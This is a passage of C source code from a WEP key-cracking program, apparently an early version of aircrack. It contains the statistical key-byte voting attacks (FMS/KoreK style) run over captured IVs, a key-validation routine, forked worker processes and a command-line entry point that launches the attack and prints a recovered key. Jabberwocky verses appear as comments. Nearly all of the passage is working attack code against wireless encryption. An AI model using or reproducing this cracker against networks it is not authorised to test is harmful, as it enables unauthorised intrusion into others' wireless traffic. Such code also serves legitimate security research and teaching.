        for( i = j = 0; i < q; i++ )
        {
            jj[i] = j = ( j + S[i] + K[i & (2 + weplen)] ) & 0xFF;
            SWAP( S[i], S[j] );
        }

        i = q; do { i--; SWAP(Si[i],Si[jj[i]]); } while( i != 0 );

        o1 = ivbuf[xv + 3] ^ 0xAA; io1 = Si[o1]; S1 = S[1];
        o2 = ivbuf[xv + 4] ^ 0xAA; io2 = Si[o2]; S2 = S[2];
        Sq = S[q]; dq = Sq + jj[q - 1];

        /*
         *      Beware the Jabberwock, my son!
         *        The jaws that bite, the claws that catch!
         *      Beware the Jubjub bird, and shun
         *        The frumious Bandersnatch!
         */

        if( S2 == 0 )
        {
            if( ( S1 == 2 ) && ( o1 == 2 ) )
            {
                Kq = 1 - dq; votes[A_neg][Kq]++;
                Kq = 2 - dq; votes[A_neg][Kq]++;
            }
            else if( o2 == 0 )
            {
                Kq = 2 - dq; votes[A_neg][Kq]++;
            }
        }
        else
        {
            if( ( o2 == 0 ) && ( Sq == 0 ) )
            {
                Kq = 2 - dq; votes[A_u15][Kq]++;
            }
        }

        /*
         *      He took his vorpal sword in hand:
         *        Long time the manxome foe he sought --
         *      So rested he by the Tumtum tree,
         *        And stood awhile in thought.
         */

        if( ( S1 == 1 ) && ( o1 == S2 ) )
        {
            Kq = 1 - dq; votes[A_neg][Kq]++;
            Kq = 2 - dq; votes[A_neg][Kq]++;
        }

        if( ( S1 == 0 ) && ( S[0] == 1 ) && ( o1 == 1 ) )
        {
            Kq = 0 - dq; votes[A_neg][Kq]++;
            Kq = 1 - dq; votes[A_neg][Kq]++;
        }

        if( S1 == q )
        {
            if( o1 == q )
            {
                Kq = Si[0] - dq; votes[A_s13][Kq]++;
            }
            else if( ( ( 1 - q - o1 ) & 0xff ) == 0 )
            {
                Kq = io1 - dq; votes[A_u13_1][Kq]++;
            }
            else if( io1 < q )
            {
                jq = Si[( io1 - q ) & 0xff];

                if( jq != 1 )
                {
                    Kq = jq - dq; votes[A_u5_1][Kq]++;
                }
            }
        }

        /*
         *      And, as in uffish thought he stood,
         *        The Jabberwock, with eyes of flame,
         *      Came whiffling through the tulgey wood,
         *        And burbled as it came!
         */

        if( ( io1 == 2 ) && ( S[q] == 1 ) )
        {
            Kq = 1 - dq; votes[A_u5_2][Kq]++;
        }

        if( S[q] == q )
        {
            if( ( S1 == 0 ) && ( o1 == q ) )
            {
                Kq = 1 - dq; votes[A_u13_2][Kq]++;
            }
            else if( ( ( ( 1 - q - S1 ) & 0xff ) == 0 ) && ( o1 == S1 ) )
            {
                Kq = 1 - dq; votes[A_u13_3][Kq]++;
            }
            else if( ( S1 >= ( ( -q ) & 0xff ) )
                     && ( ( ( q + S1 - io1 ) & 0xff ) == 0 ) )
            {
                Kq = 1 - dq; votes[A_u5_3][Kq]++;
            }
        }

        /*
         *      One, two! One, two! And through and through
         *        The vorpal blade went snicker-snack!
         *      He left it dead, and with its head
         *        He went galumphing back.
         */

        if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 )  &&
            ( io1 != 1 ) && ( io1 != S[S1] ) )
        {
            Kq = io1 - dq; votes[A_s5_1][Kq]++;
        }

        if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xff ) == 0 ) )
        {
            if( o2 == S1 )
            {
                jq = Si[(S1 - S2) & 0xFF];

                if( ( jq != 1 ) && ( jq != 2 ) )
                {
                    Kq = jq - dq; votes[A_s5_2][Kq]++;
                }
            }
            else if( o2 == ( ( 2 - S2 ) & 0xFF ) )
            {
                jq = io2;

                if( ( jq != 1 ) && ( jq != 2 ) )
                {
                    Kq = jq - dq; votes[A_s5_3][Kq]++;
                }
            }
        }

        /*
         *      And, has thou slain the Jabberwock?
         *        Come to my arms, my beamish boy!
         *      O frabjous day! Callooh! Callay!'
         *        He chortled in his joy.
         */

        if( ( S[1] != 2 ) && ( S[2] != 0 ) )
        {
            J2 = S[1] + S[2];

            if( J2 < q )
            {
                t2 = S[J2] + S[2];

                if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 )
                    && ( io2 != J2 ) )
                {
                    Kq = io2 - dq; votes[A_s3][Kq]++;
                }
            }
        }

        /*
         *      `Twas brillig, and the slithy toves
         *        Did gyre and gimble in the wabe:
         *         All mimsy were the borogoves,
         *          And the mome raths outgrabe.
         */

        if( S1 == 2 )
        {
            if( q == 4 )
            {
                if( o2 == 0 )
                {
                    Kq = Si[0] - dq; votes[A_4_s13][Kq]++;
                }
                else
                {
                    if( ( jj[1] == 2 ) && ( io2 == 0 ) )
                    {
                        Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++;
                    }
                    if( ( jj[1] == 2 ) && ( io2 == 2 ) )
                    {
                        Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++;
                    }
                }
            }
            else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) &&
                     ( io2 != 1 ) && ( io2 != 4 ) )
            {
                Kq = io2 - dq; votes[A_u5_4][Kq]++;
            }
        }
    }

    if( safe_write( cm_pipe[child][1], votes, sizeof( votes ) ) !=
                                              sizeof( votes ) )
    {
        perror( "in calc_votes: write()" );
        return( FAILURE );
    }

    goto wait_for_master;
}

/* routine that tests if a potential key is valid */

int check_wepkey( void )
{
    unsigned char K[64];
    unsigned char S[256];
    unsigned char R[256];
    unsigned char x1, x2;
    unsigned long xv;
    int i, j, n, match;

    match = 0;

    memcpy( K + 3, wepkey, weplen );

    for( i = 0; i < 256; i++ )
        R[i] = i;

    for( n = 0; n < 8; n++ )
    {
        xv = 5 * ( rand() % nb_ivs );

        memcpy( K, &ivbuf[xv], 3 );
        memcpy( S, R, 256 );

        for( i = j = 0; i < 256; i++ )
        {
            j = ( j + S[i] + K[i & (2 + weplen)]) & 0xFF;
            SWAP( S[i], S[j] );
        }

        i = 1; j = ( 0 + S[i] ) & 0xFF; SWAP(S[i], S[j]);
        x1 = ivbuf[xv + 3] ^ S[(S[i] + S[j]) & 0xFF];

        i = 2; j = ( j + S[i] ) & 0xFF; SWAP(S[i], S[j]);
        x2 = ivbuf[xv + 4] ^ S[(S[i] + S[j]) & 0xFF];

        if( ( x1 == 0xAA && x2 == 0xAA ) ||
            ( x1 == 0xE0 && x2 == 0xE0 ) )
            match++;
    }

    if( match >= 4 )
        return( SUCCESS );

    return( FAILURE );
}

/* routine used to sort the votes */

int cmp_votes( const void *bs1, const void *bs2 )
{
    if( ((struct byte_stat *) bs1)->votes <
        ((struct byte_stat *) bs2)->votes )
        return(  1 );

    if( ((struct byte_stat *) bs1)->votes >
        ((struct byte_stat *) bs2)->votes )
        return( -1 );

    return( 0 );
}

/* this routine computes the average votes and recurses */

int do_wep_crack( int B )
{
    int child, i, n, *vi;
    int votes[N_ATTACKS][256];

    for( i = 0; i < 256; i++ )
    {
        wpoll[B][i].index = i;
        wpoll[B][i].votes = 0;
    }

    memset( votes, 0, sizeof( votes ) );

    /* send B and wepkey to each child */

    buffer[0] = (unsigned char) B;
    memcpy( buffer + 1, wepkey, 61 );

    for( child = 0; child < nfork; child++ )
    {
        if( safe_write( mc_pipe[child][1], buffer, 64 ) != 64 )
        {
            perror( "in do_wep_crack: write()" );
            return( FAILURE );
        }
    }

    /* collect the poll results from each child */

    for( child = 0; child < nfork; child++ )
    {
        if( safe_read( cm_pipe[child][0], buffer, sizeof( votes ) ) !=
                                                  sizeof( votes ) )
        {
            perror( "in do_wep_crack: read()" );
            return( FAILURE );
        }

        vi = (int *) buffer;

        for( n = 0; n < N_ATTACKS; n++ )
            for( i = 0; i < 256; i++, vi++ )
                votes[n][i] += *vi;
    }

    /* compute the average vote and reject the unlikely keybytes */

    for( i = 0; i < 256; i++ )
    {
        for( n = 0; n < N_ATTACKS; n++ )
        {
            wpoll[B][i].votes += coeff_attacks[stability][n] *
                                 votes[n][i];
        }

        wpoll[B][i].votes -= 20 * votes[A_neg][i];
    }

    /* set votes to the max if keybyte is user-defined */

    if( B < debug_lvl )
        wpoll[B][debug[B]].votes = INFINITY;

    /* sort the votes, highest ones first */

    qsort( wpoll[B], 256, sizeof( struct byte_stat ), cmp_votes );

    /* see how far we should go based on the number of votes */

    for( fudge[B] = 1; fudge[B] < 256; fudge[B]++ )
        if( wpoll[B][fudge[B]].votes < wpoll[B][0].votes / ffact )
            break;

    /* try the most likely n votes, where n is our current fudge */ 

    for( depth[B] = 0; depth[B] < fudge[B]; depth[B]++ )
    {
        if( B == weplen - 1 )
            tried++;

        wepkey[B] = wpoll[B][depth[B]].index;

        show_stats( B );

        if( B == 4 && weplen == 13 )
        {
            weplen = 5;

            if( check_wepkey() == SUCCESS )
                goto keyfound;

            weplen = 13;
        }

        if( B < weplen - 1 )
        {
            /* this keybyte has been set, attack the next one */

            if( do_wep_crack( B + 1 ) == SUCCESS )
                return( SUCCESS );
        }
        else
        {
            /* last keybyte reached, so check if wepkey is valid */

            if( check_wepkey() == SUCCESS )
            {
            keyfound:

                /* we have a valid key */

                show_stats( B );

                printf( "                 \33[31;1mKEY FOUND! [ " );

                for( i = 0; i < weplen; i++ )
                    printf( "%02X", wepkey[i] );

                printf( " ]\33[0m\n\n" );

                kill( 0, SIGTERM );

                return( SUCCESS );
            }
        }
    }

    if( B == 0 )
    {
        printf( "   No luck, sorry.\n\n" );
        kill( 0, SIGTERM );
    }

    return( FAILURE );
}

/* routine that handles signals */

void my_sighandler( int signum )
{
    if( signum == SIGTERM )
    {
        sleep( 1 );
        exit( 0 );
    }

    if( signum == SIGCHLD )
    {
        printf( "\ngot unexpected SIGCHLD, exiting.\n" );
        kill( 0, SIGTERM );
        exit( FAILURE );
    }
}

/* program entry point */

int main( int argc, char *argv[] )
{
    char *s;
    int i, n, pid;

    /* check the arguments */

    if( argc < 2 )
    {
    usage:
        printf( usage );
        return( FAILURE );
    }

    while( 1 )
    {
        int option = getopt( argc, argv, "d:f:m:n:p:s:" );

        if( option < 0 ) break;

        switch( option )
        {
            case 'd' :

                i = 0;
                s = optarg;

                buffer[0] = s[0];
                buffer[1] = s[1];
                buffer[2] = '\0';

                while( sscanf( buffer, "%x", &n ) == 1 )
                {
                    if( n < 0 || n > 255 )
                        goto usage;

                    debug[i++] = n;

                    if( i >= 61 )
                        break;

                    s += 2;

                    if( s[0] == '\0' || s[1] == '\0' )
                        break;
                    
                    buffer[0] = s[0];
                    buffer[1] = s[1];
                }

                if( i == 0 ) goto usage;
                debug_lvl = i;
                break;

            case 'f' :

                if( sscanf( optarg, "%d", &ffact ) != 1 )
                    goto usage;

                if( ffact < 1 )
                    goto usage;

                break;

            case 'm':

                i = 0;
                s = optarg;

                while( sscanf( s, "%x", &n ) == 1 )
                {
                    if( n < 0 || n > 255 )
                        goto usage;

                    maddr[i] = n; i++;

                    if( i == 6 ) break;

                    if( ! ( s = strchr( s, ':' ) ) )
                        break;

                    s++;
                }

                if( i != 6 ) goto usage;
                macfilter = 1;
                break;

            case 'n' :

                if( sscanf( optarg, "%d", &weplen ) != 1 )
                    goto usage;

                if( weplen !=  64 && weplen != 128 &&
                    weplen != 256 && weplen != 512 )
                    goto usage;

                weplen = ( weplen / 8 ) - 3;
                break;

            case 'p' :

                if( sscanf( optarg, "%d", &nfork ) != 1 )
                    goto usage;

                if( nfork < 1 || nfork > 256 )
                    goto usage;

                break;

            case 's':

                if( sscanf( optarg, "%d", &stability ) != 1 )
                    goto usage;

                if( stability < 0 || stability > 3 )
                    goto usage;

                break;

            default : goto usage;
        }
    }

    if( ! ( argc - optind ) )
        goto usage;

    /* initialize all the data */

    nb_ivs = 0;

    if( ! ( ivbuf = (unsigned char *)
                        malloc( 5 * 256 * 256 * 256 ) ) )
    {
        fprintf( stderr, "malloc(80 MB) failed\n" );
        return( FAILURE );
    }

    if( ! ( test_unique_ivs = (char *)
                        malloc( 256 * 256 * 256 ) ) )
    {
        fprintf( stderr, "malloc(16 MB) failed\n" );
        return( FAILURE );
    }

    memset( test_unique_ivs, 0, 256 * 256 * 256 );

    /* read the packets from each file */

    while( optind != argc )
    {
        if( read_ivs( argv[optind] ) != SUCCESS )
            return( FAILURE );

        optind++;
    }

    free( test_unique_ivs );

    if( nb_ivs < 8 )
    {
        printf( "Not enough IVs, exiting.\n" );
        return( 1 );
    }

    /* fork the children */

    signal( SIGTERM, SIG_IGN );
    signal( SIGCHLD, my_sighandler );

    for( i = 0; i < nfork; i++ )
    {
        pipe( mc_pipe[i] );
        pipe( cm_pipe[i] );

        if( ( pid = fork() ) < 0 )
        {
            perror( "fork" );
            return( FAILURE );
        }

        if( ! pid )
        {
            signal( SIGTERM, my_sighandler );
            return( calc_votes( i ) );
        }
    }

    /* launch the attack */

    srand( time( NULL ) );

    tm_start = time( NULL );
    tm_prev  = time( NULL );

    printf( "\33[2J" );
    fflush( stdout );

    return( do_wep_crack( 0 ) );
}












